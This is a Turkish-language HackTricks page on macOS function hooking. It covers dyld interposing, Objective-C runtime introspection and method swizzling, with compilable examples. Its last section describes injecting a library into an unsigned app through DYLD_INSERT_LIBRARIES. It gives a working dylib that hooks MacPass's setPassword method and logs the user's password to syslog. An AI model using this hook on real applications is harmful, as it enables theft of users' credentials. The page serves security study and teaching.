Hacking püf noktalarınızı paylaşarak PR göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Fonksiyon Araya Girmek
__interpose (__DATA___interpose) bölümü olan bir dylib oluşturun (veya S_INTERPOSING ile işaretlenmiş bir bölüm) ve orijinal ve yerine geçen fonksiyonları işaret eden fonksiyon işaretçileri tuple'larını içerir.
DYLD_PRINT_INTERPOSTING çevresel değişkeni, araya girme işlemini hata ayıklamak için kullanılabilir ve araya girme işlemini yazdırır.
Ayrıca araya girme işlemi, işlem ve yüklenen kütüphaneler arasında gerçekleşir, paylaşılan kütüphane önbelleği ile çalışmaz.
Dinamik Araya Girme
Artık bir işlevi dinamik olarak dyld_dynamic_interpose işlevini kullanarak araya girmek de mümkündür. Bu, bir işlevi çalışma zamanında programatik olarak araya girmeyi sağlar, sadece başlangıçtan değil.
Yerine getirilecek işlev ve yerine geçecek işlevin çiftlerini belirtmek yeterlidir.
ObjectiveC'de bir yöntem şu şekilde çağrılır: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
Nesne, yöntem ve parametreler gereklidir. Bir yöntem çağrıldığında bir mesaj gönderilir ve objc_msgSend fonksiyonu kullanılır: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
Nesne someObject, yöntem @selector(method1p1:p2:) ve argümanlar value1, value2'dir.
Nesne yapıları takip edilerek, yöntem kodlarına isimlerin ve işaretçilerin bulunduğu bir yöntem dizisine ulaşmak mümkündür.
Yöntemler ve sınıflar isimlerine göre erişildiği için bu bilgiler ikili dosyada saklanır, bu nedenle otool -ov </path/bin> veya class-dump </path/bin> ile geri alınabilir.
Ham yöntemlere erişim
Aşağıdaki örnekte olduğu gibi yöntemlerin adı, parametre sayısı veya adresi gibi bilgilere erişmek mümkündür:
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
method_exchangeImplementations ile Method Swizzling
method_exchangeImplementations fonksiyonu, bir fonksiyonun uygulamasının adresini diğer bir fonksiyon için değiştirmeyi sağlar.
Bu nedenle bir fonksiyon çağrıldığında çalıştırılan diğer fonksiyondur.
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
Bu durumda, meşru yöntemin uygulama koduyöntem adını doğrularsa, bu swizzling'i algılayabilir ve çalışmasını engelleyebilir.
Aşağıdaki teknikte bu kısıtlama bulunmamaktadır.
method_setImplementation ile Yöntem Swizzling
Önceki format garip çünkü 2 yöntemin birbirinin uygulamasını değiştiriyorsunuz. method_setImplementation fonksiyonunu kullanarak bir yöntemin uygulamasını diğerine değiştirebilirsiniz.
Yeni uygulamadan eski uygulamayı çağırmayı düşünüyorsanız, orijinalinin uygulamasının adresini sakladığınızdan emin olun, çünkü daha sonra o adresi bulmak çok daha karmaşık hale gelecektir.
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
Hooking Saldırı Metodolojisi
Bu sayfada fonksiyonları hook etmenin farklı yolları tartışıldı. Bununla birlikte, bunlar saldırmak için işlem içinde kod çalıştırmayı içeriyordu.
Ancak, her iki seçenek de korumasız ikili işlemlerle sınırlıdır. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.
Ancak, bir fonksiyon hooklama saldırısı çok spesifiktir, bir saldırgan bunu yaparak bir işlem içinden hassas bilgileri çalmayı amaçlar (aksi takdirde bir işlem enjeksiyon saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen Uygulamalarda bulunabilir.
Bu nedenle, saldırgan vektörü ya bir zafiyet bulacak ya da uygulamanın imzasını kaldıracak, uygulamanın Info.plist dosyası aracılığıyla DYLD_INSERT_LIBRARIES çevresel değişkenini enjekte edecek ve şuna benzer bir şey ekleyecektir:
O kütüphaneye, bilgileri dışarı çıkarmak için kancalama kodunu ekleyin: Şifreler, mesajlar...
Yeni macOS sürümlerinde, uygulama ikilisinin imzasını kaldırırsanız ve önceden çalıştırıldıysa, macOS artık uygulamayı çalıştırmayacak.
Kütüphane örneği
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na (https://github.com/sponsors/carlospolop) göz atın!